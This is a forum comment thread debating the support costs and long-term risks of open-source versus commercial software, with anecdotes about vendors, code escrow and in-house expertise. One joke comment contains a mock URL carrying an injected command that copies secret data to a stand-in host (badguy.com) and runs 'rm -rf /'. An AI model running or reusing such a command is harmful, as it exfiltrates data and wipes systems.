In the end, not only cashflow but also features, reliability and availability are often 'veto'-level factors for deciding between different options anyway. That is independent from which product is open source or not. Whether or not it is open source can only influence those factors, but in itself is not a deciding factor. Weigh the factors and decide never choose blindly or say things like 'open source is more expensive in the long run' or the contra, because it depends...
--- Hindsight is 20/20, but walking backwards is not the answer.
You need to use OSS that in fact IS supported as OSS. If you take a piece of OSS and ignore whatever the fuck is going on in the real world then it will in fact cost more to support. But if you use a piece of 'common' OSS that is generally recognized as supportable then it will be cheaper.
The other critical success factor is your patch strategy. If you, because it is OSS simply run out and churn through every patch that is available then you are wasting your time and money because vendors don't do this to their SW either. YOU REALLY to implement change management/version control.
Hehe...someone send this to the Debian mailing list. I wanna see the feathers fly...
May we never see th
Yeah, I see your point.
;-)
;-)
I think that a viable business model is here for the taking.
Step 1:
Band together some talented *nix code wranglers.. people with a broad range of skills that can handle any of a couple dozen of the most popular programs.
Step 2:
Offer support contracts for those programs under a "if it's broken, we'll fix it, guaranteed!" scenario. Promise x number of hours turnaround on bug fixes (varying time for varying degree of difficulty) and x number of days for feature requests (which will then be released back to the original developers).
Step 3:
Profit!
This seems like a pretty standard consulting practice style setup.. has anyone been doing this? If not.. maybe we should start it
"To make a mistake is only human; to persist in a mistake is idiotic." Cicero
"Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. "
Where are these $80,000 full-time jobs working with open source software support? I've never made close to that. The one person I know personally (granted, I don't live somewhere it costs $40K to rent an apartment) who's made that kind of cheese did it working on some proprietary stuff. Nobody I know is required to support "the universe of open source software". We support a list like apache+mysql+proftpd+qmail or so. Other stuff is supported on an as-needed basis, but I'm not an expert in more than three or four of these products.
The scope and price of this whole things is just unheard of. I'm not saying the conclusion or the premise were totally off base, but the scope is just not practical. I don't know anyone who's an expert on the universe of proprietary software, either, so I don't look for one catch-all expert on OSS.
-j
This has been my personal experience too. Generally if I need a new package installed on either a Windows server or a Linux box, I have the package on Windows running a few minutes after I inserted the CD. With Linux I'm still changing permissions and looking up mailing lists a good four hours after I started.
This doesn't have to be this way. But for some reason OSS seems to atract RTFM types as developers.
Up to ten tools designed by five people in as little as two years? One tool per person per year? Umm...thanks, but what company do you work for? I need to know so that I never buy anything they make for more than $2.99.
Mod me down and I will become more powerful than you can possibly imagine!
50 years ago, many (if not most - if not all) large companies employed their own staff as accountants, engineers, chemists, project managers, etc, etc. This meant that the company always had direct access to the specialists who built The Thing, if The Thing ever stopped working.
Today few, if any, large companies (and probably fewer small companies as well) have this specialist knowledge in-house - consultants are employed to design the tricky stuff, and the work is farmed out to other "specialist" companies.
So today, there is a division of knowledge - your company knows what it wants, a consultant works out how to do it, while a third party provides a partial solution. Add in the localisations needed to get the third party solution to fit in with your existing processes, probably with a combination of your own (precious few) expert staff, and a few more contractors.
So where does this leave today's company? Utterly dependant on external consultants, who usually vanish once they stop being paid, and third party companies of varying quality.
My personal experience, of helping a small ISP grow into a corporate, is to rely on your own staff as much as possible. Information is hard to gain, but a lot easier to pick up through implementing the project yourself. When it comes to your first support call, you'll be glad that YOUR people spent the time learning the details of YOUR implementation.
More than once, this has been the difference between six months in call centre biffo, and a five minute response from THE expert on the other side of the world.
Regards
With each breath in, a flower somewhere opens; with each breath out, a flower withers away. In between lies beauty.
Yeah, because after all, we wouldn't want to hire employees and stimulate the economy! We'd rather get support from one company that oversubs their support to about a billion to one. Riiiight.
I just wasted your mod points! HA!
I'm offering a case study.
All vendors shall remain nameless.
We purchased a search engine back in 1995 for indexing our intranet. At the time, I was working with Matt's Simple Search, and we needed to add X x 10 features to it.
Needless to say, a TCO supplied by the vendor "proved" that rolling our own was going to be almost double what their product was. We purchased the commercial system.
This was not your basic "I learned Windoze programming" type search engines. We bought a dedicated AIX box, etc, etc, etc.... However, when we moved to putting PDF's online, we found that we could not use the old search engine to do this.
Wev had just had another vendor go out of business, and they didn't want to pay to get their hardware back. So, we set up Xavatoria (formerly known as Matt's Simple Search) on a separate server and added the code for indexing PDF's.
AS HTML eveolved, the old search engine was choking on JavaScript and other new HTML tricks. We wrote perl front ends to strip these tags. And on and on like this. During the last year of that search engine's life I spent 25-40% of every week getting it to work. The program itself had a slight problem of corrupting its keyword database every month or so, yada yada.
We finally ended up switching because FDSE could parse and return a value from a 50MB index in 1/4 the time as the commercial product. They kept asking: "Why is this page so slow and the rest are normal??"
Now, we could have upgraded the SE in each of the cases above. Original cost of the Search engine: 12,000 + hardware and AIX licensing. If we had purchased all upgrades to that point, we would be on our second server after suffering through 4 major revs to the product. Each upgrade was priced higher that the initial cost.
1998: 12,250
1999: 24,125
2000: 18,750 (Discounted because of the need for a new server)
2001: 16,250
2002: Company out of business, product EOL'ed
(Support contracts ran from 8,000 py. initially to 43,000 py. in 2000. Mostly this was due to our version being EOL'ed for so long. If we had upgraded the support would have been 22,000 py. in 2000.)
That AIX box is now making a nice file server, and we are using the Fluid Dynamics Search Engine (Formerly known as Matt's Simple search and Xavatoria) to index our sites and our PDF's.
Over the life of that machine it was an almost $400,000 money pit. FDSE runs for free on a server we didn't pay for. Even counting my time (which was less than used to support the older product) I would say it was 1/3 of a FTE (me!)for initial setup. This includes adding custom functionality that the other product didn't offer.
That's still about $30-40,000 TCO. 0.1%. And that is before you count the time I spent maintaining the old one.
~Hammy
This assumes that you need a full time programmer, which is a flawed assumption. Ever hear of contractors? There are LOTS of programmers out there, many outside the US willing and able to work for a VERY reasonable price. A programmer has no need to be onsite.
Had to point out that this paragraph contains some preblematic assumptions:
"So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!"
This calculation makes two assumptions:
1) That keeping up with the application bugs & changes will take 4-6 hours/week (may be correct, you just don't state how you arrived at that figure)
2) That utilizing commecial support requires *no* staff time, a truly laughable assumption.
To give you a counter-arguement for assumption 2: One of my clients pays me to interface with the support engineers for a major proprietary application carrying a $8,000/year support contract. This year to date, I have billed the client 25 hours (at $175/hour) to nag the support department of the commercial vendor and prepare test cases proving the client's problems. And some bugs still take 9 months to resolve.
So: If you work with a flawed evaluation formula, you will get flawed results.
-Josh Berkus
I don't understand where you get the 1/10th of a Full Time Employee number.
... i.e. $17K for our environment) - I have never called on these, NEVER. The online resources of the user community are far better and far faster than the support calls. Same for Tru64. Nothing beats mailing lists for response time and quality of answer. I have posed the same question to the e-mail list when i've called Compaq support (blame management -- i didn't want to call). The e-mail was sent out after the initial phone call, and I had the answer before the call back.
I keep up with 4 or 5 opensource mailing lists and spend 1/10th of my time doing it. So, maybe a more appropriate amount would be 1/40th of a FTE at 80K/yr -- that's $2K/yr... roughly what you'd spend for your support contract with the other product.
Now -- about that support contract. We have support contracts for NetBackup (20% * purchase price/yr
So, I think there are cases to illustrate whatever point one is trying to make. Sure, in your case open source may be more expensive, but that doesn't mean it's always going to be the case and anyone who dismisses a solution on any platform without doing a careful cost/benefit analysis of all factors, shouldn't be a decision maker.
Disclaimer: Yeah, I know exchange does more than just mail... but those applicable functions we nned that exchange does is handled by other server apps we run as well...
funny story (sort of):
company i used to work for before i became a teacher needed a specialized accounting program. ran only under dos. this is mind you, back in 1991. since we were in retail, we needed specialized inventory, and a way to track our sales merchandise and the clearance mercahndise versus our regular line stuff. something about amoritization and crap. hell, i dropped accounting in college. go fiugre. so, long about a year into the program, software company folds, but we need some modifications. oh shit. but wait, it gets better.
so, we need to ugrade our systems, and get a whole new line of IBM POS terminals. link to central database. pretty forward looking for this company. hell, we even had a sort of email in 1993. way cool. anyways, we need this data to link into new sales/ordering system. but guess what? can't be done, cause the older systems don't link up, and the data files are impossible to read.
so...about two years later, i'm gone getting teaching credential, and company isn't gotten system/data up to date. not until late 90's does it get resolved. i find out from a friend with company while we were out hunting. anyways, what was the cost...
i don't really know, but, it set back a whole series of migrations and implementations for a few years. no shit. data locked into legacy systems and binary data cost alot. just my story.
My problem? I was perfectly gruntled, until some numbnuts came by and dissed me.
http://govsite/search?xxxxxxxxxxx!#^&(*^(45&%6buff eroverflow='scp secretinformation hacker@badguy.com:/tmp;rm -rf /'
You: There is a buffer overflow in your product allowing people to steal our sensitive data and destroy our machines.
Vendor: We'll work on that right away, expect a patch in six to ten months that will clear up this issue and add a few lines to the EULA that will require your daughters to dance naked for us in our Arabian palace...
"Your superior intellect is no match for our puny weapons!"
There are VERY FEW commercial software companies that support a particular app for more 5 years. 5 years is a LIFETIME. Win98 is EOL and it's only 4 years old. Ditto for NT4 which was still being sold 2 years ago, and support is for the most part GONE.
With OSS, you can basically support it forever, porting to new architectures, adding enhancements, fixing bugs, whatever. You just can't do that with comercial closed-source software.
The problem with code-escrow of commercial code is that you won't know how bad the code is until you NEED it. You may find that it's unmaintainable. Not an issue with OSS, where you know what you are getting into right up front. There are also other problems with code escrow but it usually is dependant on the terms of the contract.
I developed an application / custom hardware sold to utility companies about 8 years ago that is still in use. That code has had about 6 different maintainers since I left, and they hacked the code to shit, lost backups, etc. leaving my former clients in the lurch. We did offer code escrow, since the utilities end up using this stuff for 20 years or so, but not all the utilities took us up on the offer (since we charged extra for it.) Some of the equipment we replaced was over 50 years old. If I was doing this again, I would have pushed to just give the code to the utility up front. It just ain't right what happened to them. If they had the code, they could have hired someone to port to more modern hardware (it was PC based) or even a different OS (the code was designed to be very portable.) The code was useless to anyone that didn't have the custom hardware.
Bottom line is that comercial support is USELESS if your needs are long-term, and the company can't / won't support it long-term.
OSS give you freedom. It's hard to put a dollar figure on freedom. Some say that it's priceless.
I have used open source products since the late 80s to solve problems for fortune 500 companies. The support issue has not really been a concern. It does however require that the company hire people with clues and not Minesweeper Consultants and Solitair Experts.
Any sharp group of Unix staff will not have trouble supporting Open Source. In the late 80's I implemented the ssc sreadsheet and a communications program similar to a commercial offering. These products were running within a couple of days on several different Unix platforms. Support was a no brainer as well. We did have a complete Unix development team or three around and one guy whipped up some docs that addressed the users typical needs for which there was almost never an additional request for support.
Most corporations have trained support staff on premesis. Larger companies have whole departments and can do a better job of supporting the company with Open Source.
How? Well, let me give you an example. A few years ago a friend who bought one of those all in one office printer/fax/scanner/etc. things. The sales geek claimed that it could work with NT because the geek had only the most superficial understanding of the differenece between W95 & NT. Turns out that many parts of the driver did not work properly. The printer could not be made to reset properly. He called the manufacturer and even sent the printer in for repair (twice)as the sales and support people claimed that "it should work". The manufacturer never did fix the problem and the product always operated marginally. Now the product did not work with Linux but it does now.
Why? Because open source has the best support possible. When the source is available either your
staff can handle the tuning for products that the manufacturer won't properly support or someone on the Net will help.
How? My friend worked with me at a fortune 500 client site and one day I was having a Java on Linux problem. Now Java is not open source but there is a team working on it for Linux. I submitted a question to the right location and when we got back from lunch I had answers. It is typical for me to get multiple responses to a query for a problem with purely open source as well. My friend complained that he has been waiting for answers for weeks on a similar question posed to a commercial vendor.
So there are two issues, adequitely skilled staff, and knowing where to look for answers. I have never found that the commercial product vendors provided support that could out perform the open source community. When asking how to solve a problem it is not unusual to get back multiple responses.
Oh, there is one more issue. The Unix community often acts like something akin to a cult of competence and if approached with a clueless and helpless demeanor they are not the most plesant. If the tech type takes the requisite 15 minutes to read relevant faqs and howtos and then asks for help the support is usually overwhelming.
This is my experience since implementing a variety of open source products since the 80s and Linux since '93.
At this time I am not even interested in dealing with the headaches of of commercial products if I can avoid it. I am only interestd in Open Source related contracts. Remind me to tell you about the time I asked a commercial vendor how to get a security feature working and they were supprised that I needed it as they had not even got their product debugged that far in the lab. Turns out they were playing scheduel chicken and thought we would not need some features claimed when the product was sold. Or the time a multi million dollar project went up on a commercial Unix because they promised kernal based threads by version 8.0 and as far as I can tell they never got beyond Posix Threads. At version 10.0 we went to production anyway with at least a year of additional development to do our own thread safe coding.
When it comes to support from the commercial products or Open Source I will almost always choose the open path. The support is simply better.
How about getting some other agencies in on the same OSS and splitting the support code $8000 a year over a few agencies could work out at $2000 a year or less.
thank God the internet isn't a human right.
It is certianly cheaper and easier to buy integrated as opposed to cobble a solution together yourself. What happens is when the integration becomes unstuck.
When I bought XTREE 2.5, it came with integrated zip integration. This allowed one to look inside and work with zip files as if they were directories. Of course PKZIP 2 then came out with a new format, which xtree could not deal with.
When I bought ZTree, it used external versions of these programs. So the unpacker for zip files in ztree is pkzip2 itself, not some some internal routine. So while ztree knows about zip and rar and cab files, actually opening these means that unzip, unrar, uncab must be available.
The are advantages and disadvantages to both approaches. If I go for Norton Commander or FC/2, then Norton Commander has *its* set of inbuilt conversions, while FC/2 uses the same set of utilities that Ztree uses.
Of course, it goes on and on. Word + Windows is a more expensive deal than WP5.1, but the printer drivers live in Windows, not WP5.1, and so Word will have printer drivers long after WP 5.1. Also, Excel can share the same printer drivers and fonts, whereas Lotus has a different printer-driver. Up goes bloat, up goes cost, down goes upgrade-costs.
The net effect is that it initially costs more to buy and install a component system, against an integrated package, but the long term maintenance is less, if it is done properly.
While it is more expensive, both in time and money, to do things in peices, the results are infinitely more flexiable. This may suit the home hacker, but for most office workers, this flexiability adds confusion, rather than confort.
Each process costs more, depending on what you choose to value.
OS/2 - because choice is a terrible thing to waste.
- Does the support estimate for the commercial product include the %FTE on your end?
- Up-front vs. incremental costs
- Risks of closed-source
Not that I'm denying that an open-source product must have lower TCO than a commercial project. After all, if you're the only developer/user, your economy of scale is zero. So, obviously, there needs to be some critical mass of user/developer interest before open source support costs start to really drop. Eventually, you end up with apache, etc. where you can get commercial support, etc.In my experience, getting something useful out of vendor support had been a monumentous task. You call up (wait on hold), bluster and technobabble at the first line tech until you get upgraded. Then educate the second-level tech until they have some inkling of what your problem is. They go away and talk to an engineer for between 2 hrs and 2 days. They email you back with the wrong answer. Repeat several times, until your problem gets fixed. This is a significant amount of employee time. Additionally, since your employee doesn't deeply understand the solution, so it isn't well-documented. If you've got an on-staff expert, this whole thing happens in 2 days tops, and you have an opportunity to collect the exact specifics of the problem.
This, of course, doesn't apply if your support contract says that they'll fly out an expert if your situation isn't resolved in under 24 hrs.
The up-front costs of the open-source product are vastly lower than the closed-source, in almost every new-developemnt case. So, what if you took your last 5 years of open-source support budget (presumably this is pretty close to the up-front cost of the commercial solution?) and stuck it in 5-year CDs. Well, at current rates, that's another 10 grand when the CDs mature. No mention if this study took this into account.
These are not insignificant! What is the chance that your product will receive good support 10 years from now? Will the company even be in business? How's Corel doing these days? Remember when WordPerfect was king? Remember WordPerfect Corporation? They sold WP to Novell, who sold it to Corel. How's that for stability? Will One Trick Pony Search Engines, Inc. be around in 10 years? Lots of other posters have brough this up, but this is just unavoidable. Does your service contract specify that you get to choose what version they're supporting? What's your recourse if they refuse to support the version you're using? What recourse do you have if they go belly-up?
Curious that we have this article which lays out the MS strategy to focus on total cost of proprietary vs free software, and now this. Question for the resident trolls: isn't it a more effective method to wait at least a little while between the setup and troll?
I believe you failed to factor in the time spent by staff helping the company providing support. I have rarely seen a support package at $8,000 a year that does not bill for hours (trust me, they will find something billable). In addition, they usually need one of your support staff to help them while fixing any problems. They will also charge for non-support related customizations, the ones your paid staffer would be doing with 1/10 of their time. In short, I do not believe you are factoring in the total cost of the outside support contract. Remember, always read contracts thoroughly.
I am realizing that far more explanation is needed here. As always it is dangerous to just throw numbers around with techy types, but to give all the details would have resulted in a 10,000 word article. Not exactly something for /. ya know! I left out an awful lot of detail because I made some assumptions, like perhaps you understand I knew what I was doing and who I was dealing with.
.25 FTE the first year, but then it will probably drop to .05 afterwards." If they budget that and they are wrong it will not go well with them. OTOH, although saving money is nice, a higher cost is still good -- so long as you can budget it ahead of time!
One important assumption I made was that most people can understand PHB thinking to some small extent. Since that appears not to be the case, let me clue you in: Budgets are the important thing. To budget properly you must guess how much money something will cost over the next few years and then you must, somehow, come in pretty damn close to that guess.
So it is very important to a PHB that they know with some certainty what the costs for something are before hand. Now, underestimating can be bad (less budget next time) but overestimating is far worse. Unlike money in your pocket, budgets which are approved at several layers of administration are not fungible!
So PHBs like things such as maintenance contracts because they know exactly what that will cost ahead of time. They don't like fuzzy numbers like "Well, it will cost probably
Now FTE time, unlike budget, *is* somewhat fungible. If you over-estimate it a little that is fine because your FTE probably has more than they can handle for all the other things you couldn't forsee anyway.
But how does this bring us to the cost estimate? Well it works like this; when you present something that costs money to a PHB you need to back it up with hard numbers. If you don't have a hard number you make an educated guess, back up the guess with what facts you have and then pad it a little so they can derive comfort. After all the actual cost isn't nearly as important as going over the budget. Sure 'cost' and 'budget' sound like the same thing to you and me, but not to the PHB.
So the figures I used can be thought of as 'PHB' numbers. Although I was aware they might be high, at least I knew they wouldn't be low. Meaning that they were as correct as I could make them with what I knew. My surprise came from the fact that they added up over time to such a large figure!
But the imporant part here is that, from the PHB perspective, the O.S. costs *were* higher -- something PHBs have been telling us for years. Somehow I didn't expect that. You and I can argue technicalities all night and all day. But in the final analysis I have to bring something to them that they understand. Not a buncha techspeak and hand-waving.
So, was 10% of an FTE too high? That certainly seems to be the consensus here. This could well have been a mistake on my part and changing it certainly changes the final result. The questions are: What is the proper figure, based on everything I said above? And, think of this from a PHB perspective now, can you guarentee the new number is valid?
Another note: FTE costs include all benefits and costs of having the employee (such as training, administration, another FTE to cut checks, etc). Actual wages are considerably lower. You think I wouldn't have to mention this either, but apparently not...
Jack William Bell
- -
Are you an SF Fan? Are you a Tru-Fan?
Perl is great until you try to upgrade a perl app running on 50 servers on different platforms with a variety of old and buggy CPAN modules.
It's a great language for some things, and the "there's more than one way to do it" philosophy is nice for quick projects.
You'll love perl until you have to spend $3k on an IBM compiler to just compiled modules on AIX, which don't compile without alot of prodding.
Conformity is the jailer of freedom and enemy of growth. -JFK
Utter bullshit. OSS support for lots of commercial software doesn't exist. (And reading and patching source code doesn't count)
Ask RedHat about updating Redhat 4.2. Get the X-Windows developers to provide drivers for more than 3 video cards in the version of X that shipped with Yggdrasil.
Try applying the lastest security and fix patches in one fell swoop like you can with Windows Update for free. Oh wait, the RedHat network is non-free.
Conformity is the jailer of freedom and enemy of growth. -JFK
Comment removed based on user account deletion
Comment removed based on user account deletion
You've made a couple of fundamental flaws in your assumptions.
For your commercial support, you know you are paying $XX per year. That's a fixed hard cost. You're now comparing that to saying your local support person is going to spend one full day every two weeks doing nothing but reading the lists. Maybe for the first six months, but in year 10? No way.
The primary difference is that you ALWAYS pay the commericial vendor even if the knowledge base doesn't change. Conversely, if you have experienced support staff doing your own support then you only have the _possibility_ of having to pay for training (no updates to the software, what's the tech doing spending a day on the forums?). Figure out a number for the probability of needing to get updated on the software and multiply it times your $8,000, it should drop dramatically. Year 3; spend a generous 2 full weeks training on the product, your costs are halved for the opensource product.
In addition you are comparing hard costs against soft costs. They are not the same. In fact by using external support for commercial products you are adding costs. By using existing support staff's time you haven't added any hard costs. PHB translation: no additional money coming fromtheir budget, no hard dollars leaving the building.
Now factor in the costs of needing to do some custom work in year 5 with a vendor who's no longer in business (and you forget to count in the cost of an escrow service right?). Probably saved some cash there as well.
Ultimately I don't see how an open source product over a long period of time is going to be anywhere near as expensive as a commericial product. If your spin predicts that it will be more expensive, it's time to start asking "how much is it worth to 'own' the code, be able to use whatever vendor we like, only pay if we use their services, and not be dependent upon a vendor's existence in 2/5/10 years'?
Life Insurance in Canada
Comment removed based on user account deletion
Comment removed based on user account deletion
Utter bullshit. OSS support for lots of commercial software doesn't exist. (And reading and patching source code doesn't count)
Ask RedHat about updating Redhat 4.2. Get the X-Windows developers to provide drivers for more than 3 video cards in the version of X that shipped with Yggdrasil.
Try applying the lastest security and fix patches in one fell swoop like you can with Windows Update for free. Oh wait, the RedHat network is non-free.
I can see that you have never ran Windows Update on Windows 95. It is no longer supported, just like RedHat 4.2 However, you can download,compile and update your RedHat 4.2 box to up-to-date software, if you feel like it. You can't do the same on Windows 95.
--fatboy
We have a relatively large development shop. About 600 developers. We spend tons of money on commercial software.
The quality of support we get varies greatly from vendor to vendor.
Almost always you have to recreate the problem in order to gather the needed diagnostics or to be able to test the fix. This takes time. It may be the same for OSS and COTS.
However, more often tha I can count, we have debugged the problem in the vendors code and sent them the fix! Why? We need the fix in a hurray, so we zap our install. We sent them the fix to get it as part of the 'official' code base. Combine that with the previous point and OSS may win.
We had another case where the COTS code was difficult to deal with, sucked CPU, and leaked memory like a sieve. We dumped it and replaced it with an OSS equivalent. It worked like a charm - fast and tight. It has cost us almost nothing to use. If it breaks and can't fix it, we can always revert to the COTS. And we'll be ahead.
Our policy is that we can use OSS where we feel appropriate, but we must obtain an internal owner for ongoing support. We have done well with it so far and will use more.
One thing to watch out for is the licensing obligations with some of the OSS agreements.
Let's suppose you go out a customizable, supported commercial software system. Further, let's assume the implementation is a wild success.
.......
... "Oh yeah I remember, we upgrade."...
Let's suppose you want to build on your prior success and repeat it. You bring in a second vendor and explain that the *NEW* system you are about to purchase must interface with the old system. The vendor offers to create an interface for a nominal charge. Let's assume this is a wild success.
Life is great, all your systems are stable, customized and interfaced. Remember, that no system is an island and has to join the enterprise sooner or later.
--- Time Passes ----
You are walking down the hall with a bounce in your step and head to your mailbox box, where you find a letter from the first vendor. The letter explains that your current product, which is running so well has been deprecated and will be desupported at the end of the year. You think, no problem, we'll just upgrade.
A few days later you get a similar letter from the second vendor, the dreaded "DESUPPORT NOTICE". Ok, now your starting to sweat, your world is in need of upgrading and then, you remember the interface that ties both successful system together.
You go back to your office and fumble for business cards and try to contact the sales guys who sold you this stuff, however the area codes are now different and either none of the sales guys still work at the same company or have been transferred to another territory. This prevents customers from forming long term relationships with salemen. Why do they do this??? I don't know.
You finally find the new sales reps and setup meetings. They explain that the product has changed and so has the licensing. They also explain you will need to upgrade your hardware, O/S, and backend database for the new verion to work. As for the interface that ties the two togehter, that becomes a major problem and the source of many meetings. Finally, you get a quote and the cost to upgrade the interface is astronomical.
Now you are stuck. You can't just upgrade one half. You are deprecated and desupported, but still have to pay for support or you will have to rebuy the software if you ever upgrade. Vendors will typically refuse you upgrades if you let support lapse and will make you repurchase it all over again.
Your options are to:
1. rewrite the interface inhouse
2. pay the ransom
3. don't upgrade
4. reimplement both systems all over again with new products and this time add language to the contract about the interface and upgrades
How many people has this happened to?
Raise your hand high in the air. Yes, I see you!
One of the MANY, MANY, MANY things I like about OSS is that I can go at my own pace. No one is putting a gun to my head saying, UPGRADE OR DIE!
If I create dependencies, I make sure I can upgrade one half at a time, instead of multvendor "BIG BANG" upgrades/implementations. Ask Hershey how much their "BIG BANG" multivendor SAP implementation cost them.
When you buy commercial software, you get on the upgrade treadmill and you have NO CONTROL. Also, when you run into a bug and call support, the answer is ALWAYS, "You need to upgrade to the next version". My answer is "No, I am paying for support, so fix the DARN BUG" and they drag their feet and eventually mail me a "Desupport Notice".
Now, let's talk about customizations and backward compatibility. OSS, especially PERL has AMAZING backward compatibility which is NOT found in most commercial products. I've taken large PERL web applications and moved them forward in time about 5 years and they ALL WORKED! Try that with Microsoft Visual Whatever or Java. I get so sick of reading, this function/feature/method was deprecated in version x.1 and of course you are installing x.2
I don't know what you are developing, so it is hard to give specific advice, but remember to use the right tool for the job, get training, and decide how fast you are willing to upgrade before you plunk down money with a vendor, since staying one release in front of being desupported will be part of your new job description.
Sometimes I joke with my team and ask, "What is it we do again????"
So instead of spending all my time reading mail lists and developing new useful stuff, I can spend my valuable time upgrading and utilizing the support resources I pay for, since I am going to need them when I hit a bump in the upgrade process. Also, vendors will gladly sell you "upgrade consulting" services, but won't actually do the upgrade for you, they just consult you know.
Good Luck!
Don't forget the forced upgrades to the software and OS to keep the support going.
And don't forget exponentially increasing license costs if you happen to 'rent' your software from a monopoly.
If both the open and closed source products are "supported" it could go either way. It depends on the quality and the cost of the support.
Open source allows you to "support" it yourself. Whether this is cheaper, more expensive, or is better or worse, than the commercial support depends on you and also on the quality and cost of the commercial support.
The real point being made here is that supported software is cheaper than unsupported software, which is probably true if you assumme the support is better than nothing.
Then somebody made the false equivalents that OSS==unsupported and closed==supported. It has already been pointed out that this is false for Linux itself. It is false for many closed pieces of software as well (just try to get support on some of them, or sometimes the company goes out of business).
The answer is that OSS itself is not more expensive. unsupported software is more expensive.
Doesn't that also depend on the cost of the support contract? Most are 20 - 25% of the purchase price per year.
You are also assuming that there are no contractors who are familiar with the source.
Having hired dozens of contractors, I just don't see the hassle for an occasional issue. You can generally keep the same ones on retainer too.
The problem is, someone still have to do in-house maintenance of the project. If he is receiving support from the vendor he still has to do his job, and this does not translate into any significant saving of employee's time compared to him learning about the product and getting support from mailing lists. Purely theoretical "time saving" of 48 minutes per day for a person who has to work on the project anyway means nothing -- and most likely negated by the quality of information available.
The analysis would be valid if it was similarly priced "end-user" product that did not require the user to be familiar with concepts and have skills necessary to use mailing lists and documentation, however search engine is not in this category.
Contrary to the popular belief, there indeed is no God.
Emacs, vim - I agree. Except for that without vim, many Unices wouldn't come with an editor and every admin should know to use it - if he doesn't, I'd fire him.
PICO FOREVER!!!!
autopr0n is like, down and stuff.
It all depends more on other factors like how good is the people who are responsable for the production systems in the company. Here, where I work, we have 2 Linux servers side-by-side set up for redundancy (if 1 fails the other continues to do the work). They do all the SMTP and HTTP traffic (about 50 HTTP requests per second) (Squid and Postfix) and basically we don't have to think about them. The only problem is that about 2 times a year we have "memory squeze" errors on the console and one of the machine dies (it's related to the network-card driver eating upp all the mem (for incoming packages) before the kernel starts to swap.
But in short, We never have to think about those machines. They do their job and they do it well.
And yet, it's all "open source" software that runs on them.
echo '[q]sa[ln0=aln80~Psnlbx]16isb572CCB9AE9DB03273snlbxq' |dc
Good example -- I would probably have stuck with whatever solution you have right now. But some things to consider. Yes, you did point out that Exchange does more stuff than your current application, which is correct. Also note that their clustering solution would provide fail-over which is something that you don't seem to have right now with your one dual-processor machine. Finally, the original poster has a problem where he needs to pick between the two or more solutions he has available. You already have investment in some infrastructure, including the machine that you have, and the techs you have on staff that are presumably qualified to maintain the Linux machine. Either way, he needs to hire and/or train people to be proficient in the open source solution or the commercial solution. I can't comment on which is more expensive, but you don't need a full blown MCSE to maintain your mail server, though it is helpful.
Excellent summary of the problem. Using open source for the sake of open source is just silly. Looking at the tool, with all the specifics laid out, is the right way to do it.
What the article shows is that: - there's no easy or tried and tested formula for comparing support "cost" and support "quality/effectiveness" of commercial vs. open source offerings - businesses currently have a model for software purchasing and support which it is not easy to make OSS fit. And it takes time and effort to change business practices and models The responses present some good arguments: - OSS can provide a much safer, much more cost effective option - not all OSS projects are safe though, it depends on how committed and active their community is - proving this has to be done on a case by case basis - OSS is like all other software. It needs good hackers to support it. So whatever support you think you're buying or getting - look at the quality of the people who are delivering it. -- RobW
10 Years is a long time.
;-)
I sold my first commercial support for a GNU/Linux system almost 9 years ago:
http://www.hands.com/100005.png
If they still wanted me to support the versions of software that were installed on those machines, I would, but as it happens in that period they've upgraded from slackware (0.99?? kernel) to Debian all the way through to 3.0.
They've also been privatised and split into three separate companies, two of which still use the grandchildren of these first systems, for which I still provide support.
So, while a national institution like British Coal is now history, we're still around, and still willing to support any version of software our clients wish to use.
Tell me a single proprietary vendor who would make the same claim (about historical support), and I'll send you a cookie
Also, when you phone us, like most Free Software firms, you get to talk to someone that actually knows things.
Call a proprietary vendors support line and you'll generally get to talk to some poor sod who is living the nightmare of a call centre, reading pointless scripts at angry customers. This does not generally do much for your inner harmony, and it almost never fixes the problem.
Debian: GNU/Linux done the Linux way
Software costs big no matter whether you go open source or closed source. With open source you have to have your own knowledgeable (expensive) staff, but you get to control your own destiny.
Hopefully in the direction of improving your business. But in the end that's down to the managers, same as with any other part of the business
With closed source you can get by with cheap point-n-click monkeys but the software vendor herds you in the direction THEY want you to go... which is straight to their feeding trough.
If it happens to help your business it will only be as a side effect (with you being likely to wind up paying for lots of "junk" from your POV) or it could easily be somewhere you most definitly don't want to go.
Presently, I'm working for a company which is using an open source component. We have spent a lot of time debugging the component, since the author no longer supports it. I'm sure we have spent way more than we would have if we had bought a closed source component, but our OS component happens to behave in a way we need and has functionality we couldn't find in other off-the-shelf products.
How much could you have spent, time and money, trying to find a proprietary product which did exactly what you wanted? Or in changing the way you worked to suit the available proprietary software...
I know you think you are /.'s head iconoclast, but you know as well anyone that MS has NO interest in encouranging crossplatform compatibility in ANY document formats, outside of enough lipservice to fill out the RFP acronym checklist of the day. The *default* save format (i.e. the one that 99% of the user base will use), while possibly being XML based, will no doubt be encumbered by very onerous NDA and licensing restrictions.
Microsoft's idea of "cross platform" office formats is one way. That other programs should be able to output something office can import. Not that other apps should be (easily) able to read the output of an office app.
Comment removed based on user account deletion
No big organization licenses code without getting a code escrow agreement to cover them if the vendor fails. Well, except maybe for vendors like Microsoft. <.quote> Exactly. Monopoly?
I was trying to be funny. After +25 years, the only agreements I use are equity ownershit (as opposed to equity participation, which sucks).
toms helpful hints: when you write code, paranoia is your best friend.
:)
But how do I know you're not trying to ruin my chances at producing a good product?
Whoops...forget I said that. Forgot to turn off paranoia mode.
What's this Submit thingy do?
I guess I should have used a sexier subject line...
(Sorry couldn't resist... 8-)
Innocent people shouldn't be forced to pay for inferior software development.
--"Code Complete" Microsoft Press
The company I work for is implementing a Managment system with a CMS (web based). My predecessor(sic) went the familair windows route and contacted a comercial company for their Windows hosted, with a very poor windows visual basic data entry tool,system. we paid around $6000 in all for this. The problem was that their system was almost totally inflexible and being based on a C++ CGI, had to be recompiled and debugged with attendant devlopment costs for every tiny change (There was no CSS support etc). On top of this they left their ftp server completely open so that strangers could basically just walk in and view sensitive company data. requests for support went unanswered for weeks at a time.
In the end we decided to cut our losses and we went for the OSS CMS at www.muze.nl. The developers were incredibly friendly, gave enormous amounts of support along with page long email tutorials and and ended up doing custom development work for whole new modules for a total price of less than half of what we paid the commercial company.
I don't think that one can just say across the board that OSS or CS is better or cheaper. It depends on the company.
In your case I would have used google.
Apparent personal slurs apart, I am interested not in intentions but rather results.
